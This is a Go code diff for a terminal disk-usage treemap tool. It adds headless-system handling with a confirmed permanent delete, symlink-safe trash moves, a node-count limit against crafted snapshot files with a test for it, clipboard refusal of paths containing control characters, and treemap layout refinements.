@@ -11,4 +14,11 @@ const TrashName = "trash"
|
|||||||
func Reveal(string) error { return errors.New("not supported on this platform") }
|
func Reveal(string) error { return errors.New("not supported on this platform") }
|
||||||
|
|
||||||
// Trash is unsupported on this platform.
|
// Trash is unsupported on this platform.
|
||||||
func Trash(string) error { return errors.New("trash not supported on this platform") }
|
func Trash(string, Expect) error { return errors.New("trash not supported on this platform") }
|
||||||
|
|
||||||
|
// Headless reports whether there is no graphical session (no X or Wayland
|
||||||
|
// display), so there is no file manager to open and no desktop trash anyone
|
||||||
|
// will empty.
|
||||||
|
func Headless() bool {
|
||||||
|
return os.Getenv("DISPLAY") == "" && os.Getenv("WAYLAND_DISPLAY") == ""
|
||||||
|
}
|
||||||
|
|||||||
@@ -45,8 +45,9 @@ const (
|
|||||||
)
|
)
|
||||||
|
|
||||||
// Trash moves path to the Recycle Bin via SHFileOperationW with
|
// Trash moves path to the Recycle Bin via SHFileOperationW with
|
||||||
// FOF_ALLOWUNDO. It never deletes permanently.
|
// FOF_ALLOWUNDO. It never deletes permanently. want is not checked here:
|
||||||
func Trash(path string) error {
|
// Windows exposes no owner or inode identity through the scan.
|
||||||
|
func Trash(path string, _ Expect) error {
|
||||||
if err := checkAbs(path); err != nil {
|
if err := checkAbs(path); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
@@ -69,3 +70,9 @@ func Trash(path string) error {
|
|||||||
}
|
}
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Headless is always false: Windows always has Explorer and the Recycle Bin.
|
||||||
|
func Headless() bool { return false }
|
||||||
|
|
||||||
|
// Delete is not offered on Windows; items go to the Recycle Bin.
|
||||||
|
func Delete(string, Expect) error { return errors.New("permanent delete not supported on Windows") }
|
||||||
|
|||||||
@@ -0,0 +1,59 @@
|
|||||||
|
//go:build linux || darwin
|
||||||
|
|
||||||
|
package platform
|
||||||
|
|
||||||
|
import (
|
||||||
|
"errors"
|
||||||
|
"io/fs"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"syscall"
|
||||||
|
|
||||||
|
"golang.org/x/sys/unix"
|
||||||
|
)
|
||||||
|
|
||||||
|
// renameChecked moves path to dst if it still matches want. The parent
|
||||||
|
// directory is opened once and both the check and the rename are relative to
|
||||||
|
// that descriptor, so a parent swapped for a symlink since the scan (or
|
||||||
|
// between check and rename) cannot redirect the move to another user's file.
|
||||||
|
func renameChecked(path, dst string, want Expect) error {
|
||||||
|
dir, base := filepath.Dir(path), filepath.Base(path)
|
||||||
|
dfd, err := unix.Open(dir, unix.O_RDONLY|unix.O_DIRECTORY|unix.O_CLOEXEC, 0)
|
||||||
|
if err != nil {
|
||||||
|
return &os.PathError{Op: "open", Path: dir, Err: err}
|
||||||
|
}
|
||||||
|
defer unix.Close(dfd)
|
||||||
|
var st unix.Stat_t
|
||||||
|
if err := unix.Fstatat(dfd, base, &st, unix.AT_SYMLINK_NOFOLLOW); err != nil {
|
||||||
|
return &os.PathError{Op: "stat", Path: path, Err: err}
|
||||||
|
}
|
||||||
|
if st.Uid != want.UID || modeFromUnix(uint32(st.Mode))&fs.ModeType != want.Mode&fs.ModeType {
|
||||||
|
return errors.New("item changed since the scan (owner or type differs); rescan first")
|
||||||
|
}
|
||||||
|
return unix.Renameat(dfd, base, unix.AT_FDCWD, dst)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ensurePrivateDir creates dir (mode 0700) if missing; an existing entry must
|
||||||
|
// be a real directory (not a symlink) owned by us. With strict (trash on a
|
||||||
|
// shared filesystem) it must also be inaccessible to others, as the
|
||||||
|
// freedesktop.org spec requires; home trash directories made by desktop
|
||||||
|
// environments are sometimes 0755, which is harmless there.
|
||||||
|
func ensurePrivateDir(dir string, strict bool) error {
|
||||||
|
if err := os.Mkdir(dir, 0o700); err != nil && !errors.Is(err, os.ErrExist) {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
fi, err := os.Lstat(dir)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
st := fi.Sys().(*syscall.Stat_t)
|
||||||
|
switch {
|
||||||
|
case !fi.IsDir():
|
||||||
|
return errors.New("not a directory (symlink?)")
|
||||||
|
case int(st.Uid) != os.Getuid():
|
||||||
|
return errors.New("owned by another user")
|
||||||
|
case strict && fi.Mode().Perm()&0o077 != 0:
|
||||||
|
return errors.New("accessible to other users")
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -6,6 +6,8 @@ import (
|
|||||||
"crypto/sha256"
|
"crypto/sha256"
|
||||||
"encoding/binary"
|
"encoding/binary"
|
||||||
"io"
|
"io"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
"strings"
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
@@ -129,3 +131,30 @@ func TestHostileMetadataSanitisedInSummary(t *testing.T) {
|
|||||||
t.Fatalf("raw control characters in summary: %q", b.String())
|
t.Fatalf("raw control characters in summary: %q", b.String())
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Blocks of one directory plus K-1 files repeat byte for byte, so a small
|
||||||
|
// file describes millions of nodes; LoadFile must refuse before allocating.
|
||||||
|
func TestNodeAmplificationLimited(t *testing.T) {
|
||||||
|
const k, n = 1000, 1_200_001
|
||||||
|
data := craft(n, `{"root":"/r"}`, func(i int, w *writer) {
|
||||||
|
switch {
|
||||||
|
case i == 0:
|
||||||
|
node(w, 0, inventory.KindDir, "", 0)
|
||||||
|
case i == 1:
|
||||||
|
node(w, 1, inventory.KindDir, "d", 0)
|
||||||
|
case (i-1)%k == 0:
|
||||||
|
node(w, k, inventory.KindDir, "d", 0)
|
||||||
|
default:
|
||||||
|
node(w, uint64((i-1)%k), inventory.KindFile, "f", 0)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
if _, err := Load(bytes.NewReader(data)); err != nil {
|
||||||
|
t.Fatalf("crafted tree is otherwise valid: %v", err)
|
||||||
|
}
|
||||||
|
p := filepath.Join(t.TempDir(), "amp.msz")
|
||||||
|
os.WriteFile(p, data, 0o644)
|
||||||
|
_, err := LoadFile(p)
|
||||||
|
if err == nil || !strings.Contains(err.Error(), "node count") {
|
||||||
|
t.Fatalf("%d nodes from a %d-byte file accepted: %v", n, len(data), err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -333,12 +333,22 @@ func (l *limitedReader) Read(p []byte) (int, error) {
|
|||||||
// (real snapshots compress ~6×), with a 64 MiB floor for tiny files.
|
// (real snapshots compress ~6×), with a 64 MiB floor for tiny files.
|
||||||
func bodyLimit(fileSize int64) int64 { return max(64<<20, fileSize*64) }
|
func bodyLimit(fileSize int64) int64 { return max(64<<20, fileSize*64) }
|
||||||
|
|
||||||
|
// nodeLimit caps the node count for a file of fileSize bytes. Real
|
||||||
|
// snapshots spend ~15 compressed bytes per node; a crafted one describes a
|
||||||
|
// node in a fraction of a byte, so without this a 1 MB file can demand
|
||||||
|
// gigabytes of memory while staying within bodyLimit.
|
||||||
|
func nodeLimit(fileSize int64) uint64 { return uint64(max(1<<20, fileSize)) }
|
||||||
|
|
||||||
// Load reads and validates a snapshot, allowing up to DefaultMaxBody bytes
|
// Load reads and validates a snapshot, allowing up to DefaultMaxBody bytes
|
||||||
// of decompressed data.
|
// of decompressed data.
|
||||||
func Load(in io.Reader) (*inventory.Tree, error) { return LoadLimit(in, DefaultMaxBody) }
|
func Load(in io.Reader) (*inventory.Tree, error) { return LoadLimit(in, DefaultMaxBody) }
|
||||||
|
|
||||||
// LoadLimit is Load with an explicit decompressed-size limit.
|
// LoadLimit is Load with an explicit decompressed-size limit.
|
||||||
func LoadLimit(in io.Reader, maxBody int64) (*inventory.Tree, error) {
|
func LoadLimit(in io.Reader, maxBody int64) (*inventory.Tree, error) {
|
||||||
|
return load(in, maxBody, MaxNodes)
|
||||||
|
}
|
||||||
|
|
||||||
|
func load(in io.Reader, maxBody int64, maxNodes uint64) (*inventory.Tree, error) {
|
||||||
br := bufio.NewReaderSize(in, 1<<20)
|
br := bufio.NewReaderSize(in, 1<<20)
|
||||||
hdr := make([]byte, len(brand.SnapshotMagic)+4)
|
hdr := make([]byte, len(brand.SnapshotMagic)+4)
|
||||||
if _, err := io.ReadFull(br, hdr); err != nil {
|
if _, err := io.ReadFull(br, hdr); err != nil {
|
||||||
@@ -389,8 +399,11 @@ func LoadLimit(in io.Reader, maxBody int64) (*inventory.Tree, error) {
|
|||||||
return nil, r.err
|
return nil, r.err
|
||||||
}
|
}
|
||||||
extIndex := t.ExtIndexer()
|
extIndex := t.ExtIndexer()
|
||||||
nNodes := r.uvarint(MaxNodes, "node count")
|
nNodes := r.uvarint(maxNodes, "node count")
|
||||||
depth := []uint16{0} // per node, for the depth limit; parents precede children
|
depth := []uint16{0} // per node, for the depth limit; parents precede children
|
||||||
|
if r.err != nil {
|
||||||
|
return nil, r.err
|
||||||
|
}
|
||||||
if nNodes == 0 {
|
if nNodes == 0 {
|
||||||
return nil, errors.New("snapshot: no root node")
|
return nil, errors.New("snapshot: no root node")
|
||||||
}
|
}
|
||||||
@@ -507,9 +520,9 @@ func LoadFile(path string) (*inventory.Tree, error) {
|
|||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
defer f.Close()
|
defer f.Close()
|
||||||
limit := int64(DefaultMaxBody)
|
limit, nodes := int64(DefaultMaxBody), uint64(MaxNodes)
|
||||||
if fi, err := f.Stat(); err == nil {
|
if fi, err := f.Stat(); err == nil {
|
||||||
limit = bodyLimit(fi.Size())
|
limit, nodes = bodyLimit(fi.Size()), nodeLimit(fi.Size())
|
||||||
}
|
}
|
||||||
return LoadLimit(f, limit)
|
return load(f, limit, nodes)
|
||||||
}
|
}
|
||||||
|
|||||||
+28
-9
@@ -3,6 +3,7 @@ package tui
|
|||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"io/fs"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
tea "charm.land/bubbletea/v2"
|
tea "charm.land/bubbletea/v2"
|
||||||
@@ -20,10 +21,13 @@ type trashDoneMsg struct {
|
|||||||
tree *inventory.Tree // the tree id belongs to; results for a replaced tree are dropped
|
tree *inventory.Tree // the tree id belongs to; results for a replaced tree are dropped
|
||||||
id inventory.NodeID
|
id inventory.NodeID
|
||||||
err error
|
err error
|
||||||
|
done string // "Moved to trash" or "Deleted"
|
||||||
}
|
}
|
||||||
|
|
||||||
// requestTrash asks for confirmation before moving the selection to the
|
// requestTrash asks for confirmation before moving the selection to the
|
||||||
// trash. Permanent deletion is deliberately not offered.
|
// trash. On a headless system (no desktop, so nobody empties the trash and
|
||||||
|
// the space is never freed) it deletes permanently instead, after a
|
||||||
|
// confirmation that says so.
|
||||||
func (m *Model) requestTrash() tea.Cmd {
|
func (m *Model) requestTrash() tea.Cmd {
|
||||||
switch {
|
switch {
|
||||||
case m.opts.ReadOnly:
|
case m.opts.ReadOnly:
|
||||||
@@ -31,7 +35,7 @@ func (m *Model) requestTrash() tea.Cmd {
|
|||||||
case m.snapshot:
|
case m.snapshot:
|
||||||
return m.warn("Snapshot view: nothing to delete on the live filesystem")
|
return m.warn("Snapshot view: nothing to delete on the live filesystem")
|
||||||
case m.scanning:
|
case m.scanning:
|
||||||
return m.warn("Wait for the scan to finish before trashing items")
|
return m.warn("Wait for the scan to finish before deleting items")
|
||||||
}
|
}
|
||||||
id := m.selectedNode()
|
id := m.selectedNode()
|
||||||
if id == inventory.NoNode || id == m.tree.Root() {
|
if id == inventory.NoNode || id == m.tree.Root() {
|
||||||
@@ -39,19 +43,34 @@ func (m *Model) requestTrash() tea.Cmd {
|
|||||||
}
|
}
|
||||||
n := m.tree.Node(id)
|
n := m.tree.Node(id)
|
||||||
path := m.tree.Path(id)
|
path := m.tree.Path(id)
|
||||||
|
want := platform.Expect{UID: n.UID, Mode: fs.FileMode(n.Mode)}
|
||||||
what := "file"
|
what := "file"
|
||||||
if n.IsDir() {
|
if n.IsDir() {
|
||||||
what = fmt.Sprintf("directory with %s files", textutil.Count(int64(n.Files)))
|
what = fmt.Sprintf("directory with %s files", textutil.Count(int64(n.Files)))
|
||||||
}
|
}
|
||||||
|
body := []string{textutil.Sanitize(path), "", fmt.Sprintf("%s · %s", what, textutil.Size(n.Total(m.sizeMode))), ""}
|
||||||
|
if platform.Headless() {
|
||||||
|
m.openModal(&confirmModal{
|
||||||
|
ttl: "Delete permanently? Are you sure?",
|
||||||
|
body: append(body, "This is a headless system (no X or Wayland display), so there is no trash:",
|
||||||
|
"it will be permanently deleted and cannot be recovered."),
|
||||||
|
yes: "delete permanently",
|
||||||
|
onYes: func(m *Model) tea.Cmd {
|
||||||
|
t := m.tree
|
||||||
|
return func() tea.Msg { return trashDoneMsg{t, id, platform.Delete(path, want), "Deleted"} }
|
||||||
|
},
|
||||||
|
})
|
||||||
|
return nil
|
||||||
|
}
|
||||||
m.openModal(&confirmModal{
|
m.openModal(&confirmModal{
|
||||||
ttl: "Move to trash?",
|
ttl: "Move to trash?",
|
||||||
body: []string{textutil.Sanitize(path), "",
|
body: append(body, "It will be moved to the "+platform.TrashName+", not permanently deleted."),
|
||||||
fmt.Sprintf("%s · %s", what, textutil.Size(n.Total(m.sizeMode))),
|
|
||||||
"", "It will be moved to the " + platform.TrashName + ", not permanently deleted."},
|
|
||||||
yes: "move to " + platform.TrashName,
|
yes: "move to " + platform.TrashName,
|
||||||
onYes: func(m *Model) tea.Cmd {
|
onYes: func(m *Model) tea.Cmd {
|
||||||
t := m.tree
|
t := m.tree
|
||||||
return func() tea.Msg { return trashDoneMsg{t, id, platform.Trash(path)} }
|
return func() tea.Msg {
|
||||||
|
return trashDoneMsg{t, id, platform.Trash(path, want), "Moved to " + platform.TrashName}
|
||||||
|
}
|
||||||
},
|
},
|
||||||
})
|
})
|
||||||
return nil
|
return nil
|
||||||
@@ -59,11 +78,11 @@ func (m *Model) requestTrash() tea.Cmd {
|
|||||||
|
|
||||||
func (m *Model) trashDone(msg trashDoneMsg) tea.Cmd {
|
func (m *Model) trashDone(msg trashDoneMsg) tea.Cmd {
|
||||||
if msg.err != nil {
|
if msg.err != nil {
|
||||||
return m.warn("Trash failed: " + textutil.Sanitize(msg.err.Error()))
|
return m.warn("Delete failed: " + textutil.Sanitize(msg.err.Error()))
|
||||||
}
|
}
|
||||||
if msg.tree != m.tree || m.scanning {
|
if msg.tree != m.tree || m.scanning {
|
||||||
// A rescan replaced the inventory; the new scan reflects the change.
|
// A rescan replaced the inventory; the new scan reflects the change.
|
||||||
return m.info("Moved to " + platform.TrashName)
|
return m.info(msg.done)
|
||||||
}
|
}
|
||||||
// The scan has finished, so the UI goroutine is the tree's only writer.
|
// The scan has finished, so the UI goroutine is the tree's only writer.
|
||||||
t := m.tree
|
t := m.tree
|
||||||
@@ -85,7 +104,7 @@ func (m *Model) trashDone(msg trashDoneMsg) tea.Cmd {
|
|||||||
name := n.Name
|
name := n.Name
|
||||||
t.Unlock()
|
t.Unlock()
|
||||||
m.invalidate()
|
m.invalidate()
|
||||||
return m.info("Moved to " + platform.TrashName + ": " + textutil.Sanitize(name))
|
return m.info(msg.done + ": " + textutil.Sanitize(name))
|
||||||
}
|
}
|
||||||
|
|
||||||
// ---- Duplicates ----------------------------------------------------------
|
// ---- Duplicates ----------------------------------------------------------
|
||||||
|
|||||||
@@ -110,7 +110,7 @@ func (v *infoView) paint(m *Model, cv *Canvas, r treemap.Rect) {
|
|||||||
}
|
}
|
||||||
line("Exclusions", excl, value)
|
line("Exclusions", excl, value)
|
||||||
line("One filesystem", fmt.Sprint(st.OneFileSystem), value)
|
line("One filesystem", fmt.Sprint(st.OneFileSystem), value)
|
||||||
line("Follow symlinks", st.Follow, value)
|
line("Follow symlinks", textutil.Sanitize(st.Follow), value)
|
||||||
line("Size mode", m.sizeMode.String(), value)
|
line("Size mode", m.sizeMode.String(), value)
|
||||||
units := "IEC (1024)"
|
units := "IEC (1024)"
|
||||||
if textutil.SI {
|
if textutil.SI {
|
||||||
|
|||||||
+23
-2
@@ -109,7 +109,7 @@ func (m *Model) handleKey(msg tea.KeyPressMsg) tea.Cmd {
|
|||||||
case "D":
|
case "D":
|
||||||
return m.startDuplicates()
|
return m.startDuplicates()
|
||||||
case "c":
|
case "c":
|
||||||
return m.copyPath()
|
return m.copySelected()
|
||||||
case "o":
|
case "o":
|
||||||
return m.reveal()
|
return m.reveal()
|
||||||
case "d", "delete":
|
case "d", "delete":
|
||||||
@@ -200,11 +200,21 @@ func (m *Model) selectedPath() (string, bool) {
|
|||||||
return m.tree.Path(id), true
|
return m.tree.Path(id), true
|
||||||
}
|
}
|
||||||
|
|
||||||
func (m *Model) copyPath() tea.Cmd {
|
func (m *Model) copySelected() tea.Cmd {
|
||||||
p, ok := m.selectedPath()
|
p, ok := m.selectedPath()
|
||||||
if !ok {
|
if !ok {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
return m.copyPath(p)
|
||||||
|
}
|
||||||
|
|
||||||
|
// copyPath puts p on the clipboard (OSC 52). Paths that would not survive
|
||||||
|
// display unchanged are refused: a newline in a hostile filename runs
|
||||||
|
// commands when pasted into a shell, and bidi controls disguise them.
|
||||||
|
func (m *Model) copyPath(p string) tea.Cmd {
|
||||||
|
if textutil.Sanitize(p) != p {
|
||||||
|
return m.warn("Not copied: path contains control or bidi characters")
|
||||||
|
}
|
||||||
return tea.Batch(tea.SetClipboard(p), m.info("Copied path to clipboard (OSC 52)"))
|
return tea.Batch(tea.SetClipboard(p), m.info("Copied path to clipboard (OSC 52)"))
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -216,6 +226,17 @@ func (m *Model) reveal() tea.Cmd {
|
|||||||
if !ok {
|
if !ok {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
if platform.Headless() {
|
||||||
|
// No file manager: show the folder in the map instead.
|
||||||
|
id := m.selectedNode()
|
||||||
|
if m.tree.Node(id).IsDir() && len(m.kidsOf(id).ids) > 0 {
|
||||||
|
m.zoomTo(id)
|
||||||
|
m.setViewByName("Map")
|
||||||
|
} else {
|
||||||
|
m.jumpTo(id)
|
||||||
|
}
|
||||||
|
return m.info("Showing " + textutil.Sanitize(m.tree.Path(m.zoom)))
|
||||||
|
}
|
||||||
if err := platform.Reveal(p); err != nil {
|
if err := platform.Reveal(p); err != nil {
|
||||||
return m.warn("Open failed: " + textutil.Sanitize(err.Error()))
|
return m.warn("Open failed: " + textutil.Sanitize(err.Error()))
|
||||||
}
|
}
|
||||||
|
|||||||
+45
-8
@@ -43,7 +43,7 @@ const (
|
|||||||
topMaxItems = 400
|
topMaxItems = 400
|
||||||
nestMinArea = 3
|
nestMinArea = 3
|
||||||
nestMaxItems = 120
|
nestMaxItems = 120
|
||||||
maxNestDepth = 3
|
maxNestDepth = 8 // block-size thresholds stop recursion long before this
|
||||||
nestMinW = 4
|
nestMinW = 4
|
||||||
nestMinH = 2
|
nestMinH = 2
|
||||||
nestRecurseW = 14
|
nestRecurseW = 14
|
||||||
@@ -65,7 +65,7 @@ func (m *Model) layoutTreemap(r treemap.Rect) *tmLayout {
|
|||||||
in := b.Inset(1)
|
in := b.Inset(1)
|
||||||
if in.W >= nestMinW && in.H >= nestMinH {
|
if in.W >= nestMinW && in.H >= nestMinH {
|
||||||
before := len(l.nested)
|
before := len(l.nested)
|
||||||
m.layoutNested(l, inventory.NodeID(b.ID), in, 2)
|
m.layoutNested(l, m.chainEnd(inventory.NodeID(b.ID)), in, 2)
|
||||||
l.inner[b.ID] = len(l.nested) > before
|
l.inner[b.ID] = len(l.nested) > before
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -104,7 +104,7 @@ func (m *Model) layoutLevel(l *tmLayout, parent inventory.NodeID, r treemap.Rect
|
|||||||
|
|
||||||
func (m *Model) layoutNested(l *tmLayout, parent inventory.NodeID, r treemap.Rect, depth int) {
|
func (m *Model) layoutNested(l *tmLayout, parent inventory.NodeID, r treemap.Rect, depth int) {
|
||||||
// Deeper levels need bigger blocks to stay legible rather than noisy.
|
// Deeper levels need bigger blocks to stay legible rather than noisy.
|
||||||
blocks := m.layoutLevel(l, parent, r, nestMinArea*(depth-1)*(depth-1), nestMaxItems)
|
blocks := m.layoutLevel(l, parent, r, nestMinArea*(depth-1), nestMaxItems)
|
||||||
for i, b := range blocks {
|
for i, b := range blocks {
|
||||||
nb := nested{id: b.ID, r: b.Rect, depth: depth, alt: i%2 == 1}
|
nb := nested{id: b.ID, r: b.Rect, depth: depth, alt: i%2 == 1}
|
||||||
idx := len(l.nested)
|
idx := len(l.nested)
|
||||||
@@ -112,11 +112,24 @@ func (m *Model) layoutNested(l *tmLayout, parent inventory.NodeID, r treemap.Rec
|
|||||||
if depth < maxNestDepth && b.ID >= 0 && b.W >= nestRecurseW && b.H >= nestRecurseH &&
|
if depth < maxNestDepth && b.ID >= 0 && b.W >= nestRecurseW && b.H >= nestRecurseH &&
|
||||||
m.tree.Node(inventory.NodeID(b.ID)).IsDir() {
|
m.tree.Node(inventory.NodeID(b.ID)).IsDir() {
|
||||||
l.nested[idx].inner = true
|
l.nested[idx].inner = true
|
||||||
m.layoutNested(l, inventory.NodeID(b.ID), treemap.Rect{X: b.X, Y: b.Y + 1, W: b.W - 1, H: b.H - 2}, depth+1)
|
m.layoutNested(l, m.chainEnd(inventory.NodeID(b.ID)), treemap.Rect{X: b.X, Y: b.Y + 1, W: b.W - 1, H: b.H - 2}, depth+1)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// chainEnd follows directories whose only non-empty child is a directory
|
||||||
|
// (mnt → raid → media), so nesting spends its space on the level that
|
||||||
|
// actually branches instead of on full-size wrappers.
|
||||||
|
func (m *Model) chainEnd(id inventory.NodeID) inventory.NodeID {
|
||||||
|
for {
|
||||||
|
k := m.kidsOf(id)
|
||||||
|
if len(k.ids) != 1 || !m.tree.Node(k.ids[0]).IsDir() {
|
||||||
|
return id
|
||||||
|
}
|
||||||
|
id = k.ids[0]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// groupInfo returns the LOD group for a group ID in the current layout.
|
// groupInfo returns the LOD group for a group ID in the current layout.
|
||||||
func (m *Model) groupInfo(id int64) (*group, bool) {
|
func (m *Model) groupInfo(id int64) (*group, bool) {
|
||||||
if m.tm == nil {
|
if m.tm == nil {
|
||||||
@@ -168,10 +181,15 @@ func (m *Model) blockName(id int64) string {
|
|||||||
}
|
}
|
||||||
return "smaller items"
|
return "smaller items"
|
||||||
}
|
}
|
||||||
n := m.tree.Node(inventory.NodeID(id))
|
nid := inventory.NodeID(id)
|
||||||
|
n := m.tree.Node(nid)
|
||||||
name := textutil.Sanitize(n.Name)
|
name := textutil.Sanitize(n.Name)
|
||||||
if n.IsDir() && inventory.NodeID(id) != m.tree.Root() {
|
if n.IsDir() && nid != m.tree.Root() {
|
||||||
name += "/"
|
name += "/"
|
||||||
|
for end := m.chainEnd(nid); nid != end; {
|
||||||
|
nid = m.kidsOf(nid).ids[0]
|
||||||
|
name += textutil.Sanitize(m.tree.Node(nid).Name) + "/"
|
||||||
|
}
|
||||||
}
|
}
|
||||||
return name
|
return name
|
||||||
}
|
}
|
||||||
@@ -186,6 +204,20 @@ func (m *Model) blockSize(id int64) int64 {
|
|||||||
return m.sizeOf(inventory.NodeID(id))
|
return m.sizeOf(inventory.NodeID(id))
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// parentSize is the size of the folder a block sits in.
|
||||||
|
func (m *Model) parentSize(id int64) int64 {
|
||||||
|
if isGroup(id) {
|
||||||
|
if g, ok := m.groupInfo(id); ok {
|
||||||
|
return m.sizeOf(g.parent)
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
if p := m.tree.Node(inventory.NodeID(id)).Parent; p != inventory.NoNode {
|
||||||
|
return m.sizeOf(p)
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
func (m *Model) paintTop(cv *Canvas, b treemap.Block, sel, hov bool, total int64) {
|
func (m *Model) paintTop(cv *Canvas, b treemap.Block, sel, hov bool, total int64) {
|
||||||
t := m.theme
|
t := m.theme
|
||||||
base := m.colorOf(b.ID)
|
base := m.colorOf(b.ID)
|
||||||
@@ -276,7 +308,7 @@ func (m *Model) hasNested(id int64) bool { return m.tm != nil && m.tm.inner[id]
|
|||||||
func (m *Model) paintNested(cv *Canvas, nb nested) {
|
func (m *Model) paintNested(cv *Canvas, nb nested) {
|
||||||
t := m.theme
|
t := m.theme
|
||||||
base := m.colorOf(nb.id)
|
base := m.colorOf(nb.id)
|
||||||
f := 0.38 - 0.1*float64(nb.depth-2)
|
f := max(0.38-0.1*float64(nb.depth-2), 0.1)
|
||||||
if nb.alt {
|
if nb.alt {
|
||||||
f += 0.07
|
f += 0.07
|
||||||
}
|
}
|
||||||
@@ -327,7 +359,12 @@ func (m *Model) paintNested(cv *Canvas, nb nested) {
|
|||||||
}
|
}
|
||||||
cv.Text(lx, ly, textutil.Truncate(name, lw), lw, Style{FG: st.FG, BG: bg, Attr: Bold})
|
cv.Text(lx, ly, textutil.Truncate(name, lw), lw, Style{FG: st.FG, BG: bg, Attr: Bold})
|
||||||
if !nb.inner && r.H >= 3 && lw >= 5 {
|
if !nb.inner && r.H >= 3 && lw >= 5 {
|
||||||
cv.Text(lx, ly+1, textutil.Truncate(textutil.SizeCompact(m.blockSize(nb.id)), lw), lw, Style{FG: bg.Mix(st.FG, 0.7), BG: bg})
|
size := m.blockSize(nb.id)
|
||||||
|
label := textutil.SizeCompact(size)
|
||||||
|
if pct := textutil.Percent(size, m.parentSize(nb.id)); textutil.Width(label)+textutil.Width(pct)+3 <= lw {
|
||||||
|
label += " · " + pct
|
||||||
|
}
|
||||||
|
cv.Text(lx, ly+1, textutil.Truncate(label, lw), lw, Style{FG: bg.Mix(st.FG, 0.7), BG: bg})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+23
-7
@@ -39,9 +39,9 @@ func (*infoModal) width() int { return 72 }
|
|||||||
func (md *infoModal) title() string { return "Item information" }
|
func (md *infoModal) title() string { return "Item information" }
|
||||||
|
|
||||||
func (md *infoModal) footer(m *Model) string {
|
func (md *infoModal) footer(m *Model) string {
|
||||||
s := "Esc close · c copy path · o reveal · Space go to"
|
s := "Esc close · c copy path · o " + revealVerb() + " · Space go to"
|
||||||
if !m.opts.ReadOnly && !m.snapshot {
|
if !m.opts.ReadOnly && !m.snapshot {
|
||||||
s += " · d trash"
|
s += " · d " + deleteVerb()
|
||||||
}
|
}
|
||||||
return s
|
return s
|
||||||
}
|
}
|
||||||
@@ -165,11 +165,11 @@ func fmtTime(ns int64) string { return time.Unix(0, ns).Format("2006-01-02 15:04
|
|||||||
func (md *infoModal) key(m *Model, k string) (bool, tea.Cmd) {
|
func (md *infoModal) key(m *Model, k string) (bool, tea.Cmd) {
|
||||||
switch k {
|
switch k {
|
||||||
case "c":
|
case "c":
|
||||||
p := m.tree.Path(md.id)
|
return false, m.copyPath(m.tree.Path(md.id))
|
||||||
return false, tea.Batch(tea.SetClipboard(p), m.info("Copied path to clipboard"))
|
|
||||||
case "o":
|
case "o":
|
||||||
m.sel = int64(md.id)
|
m.sel = int64(md.id)
|
||||||
return false, m.reveal()
|
// Headless, o navigates the map, which the modal would cover.
|
||||||
|
return platform.Headless(), m.reveal()
|
||||||
case "enter":
|
case "enter":
|
||||||
return true, nil
|
return true, nil
|
||||||
case "g", "right":
|
case "g", "right":
|
||||||
@@ -274,9 +274,9 @@ func (helpModal) content(m *Model, _ int) []line {
|
|||||||
sec("APPLICATION")
|
sec("APPLICATION")
|
||||||
row("a", "toggle allocated / logical (apparent) size")
|
row("a", "toggle allocated / logical (apparent) size")
|
||||||
row("c", "copy path to clipboard")
|
row("c", "copy path to clipboard")
|
||||||
row("o", "reveal in file manager")
|
row("o", revealVerb())
|
||||||
if !m.opts.ReadOnly {
|
if !m.opts.ReadOnly {
|
||||||
row("d", "move to trash (asks first)")
|
row("d", deleteVerb()+" (asks first)")
|
||||||
}
|
}
|
||||||
row("s", "save snapshot")
|
row("s", "save snapshot")
|
||||||
row("r", "rescan")
|
row("r", "rescan")
|
||||||
@@ -373,3 +373,19 @@ func (md *saveModal) key(m *Model, k string) (bool, tea.Cmd) {
|
|||||||
}
|
}
|
||||||
return false, nil
|
return false, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// revealVerb and deleteVerb describe o and d, which change meaning on a
|
||||||
|
// headless system.
|
||||||
|
func revealVerb() string {
|
||||||
|
if platform.Headless() {
|
||||||
|
return "show folder in map"
|
||||||
|
}
|
||||||
|
return "reveal in file manager"
|
||||||
|
}
|
||||||
|
|
||||||
|
func deleteVerb() string {
|
||||||
|
if platform.Headless() {
|
||||||
|
return "delete permanently"
|
||||||
|
}
|
||||||
|
return "move to " + platform.TrashName
|
||||||
|
}
|
||||||
|
|||||||
@@ -0,0 +1,89 @@
|
|||||||
|
package tui
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/charmbracelet/colorprofile"
|
||||||
|
"github.com/charmbracelet/x/ansi"
|
||||||
|
|
||||||
|
"github.com/andydixon/mapsize/internal/inventory"
|
||||||
|
"github.com/andydixon/mapsize/internal/scan"
|
||||||
|
)
|
||||||
|
|
||||||
|
func rootTree() *inventory.Tree {
|
||||||
|
